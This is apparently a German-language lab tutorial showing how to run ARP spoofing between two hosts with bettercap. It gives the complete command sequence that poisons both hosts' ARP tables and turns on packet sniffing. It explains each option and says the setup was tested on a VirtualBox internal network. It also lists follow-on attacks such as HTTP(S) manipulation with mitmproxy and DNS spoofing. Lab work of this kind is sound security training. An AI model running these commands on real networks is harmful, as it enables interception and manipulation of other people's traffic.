ARP Spoofing mit bettercap

ARP Spoofing mit bettercap

Zwischen 2 Hosts

HOST1=10.0.10.103
HOST2=10.0.10.104

Angreifer

• bettercap wird im Interactive-Modus gestartet

sudo bettercap -iface eth0

In der bettercap-Konsole

• ARP Spoofing auf beide Hosts aktivieren

set arp.spoof.targets 10.0.10.103,10.0.10.104
set arp.spoof.internal true
set arp.spoof.fullduplex true
arp.spoof on
net.sniff on

Optionen

• -iface eth0 → Netzwerkschnittstelle
• set arp.spoof.targets → beide Zielsysteme
• set arp.spoof.internal true → Host-zu-Host Spoofing (nicht nur Richtung Gateway)
• set arp.spoof.fullduplex true → beidseitiges Spoofing (beide Hosts werden getäuscht)
• arp.spoof on → ARP Spoofing aktivieren
• net.sniff on → Paketmitschnitt aktivieren

Hinweis zur Netzwerkumgebung

• Getestet mit VirtualBox Internal Network
• Bei Bridge-Adapter kann es zu abweichendem Verhalten kommen, da das Gateway aktiv eigene ARP-Replies sendet und das Spoofing überschreiben kann
• Empfehlung für das Labor: VirtualBox Internal Network verwenden

Auf HOST1 prüfen

• Angreifer gibt sich als HOST2 aus

arp -n | grep 10.0.10

Auf HOST2 prüfen

• Angreifer gibt sich als HOST1 aus

arp -n | grep 10.0.10

Mögliche Folgeangriffe

• Ngrep zur Analyse
• mitmproxy für HTTP(S)-Manipulation
• dns.spoof zur DNS-Manipulation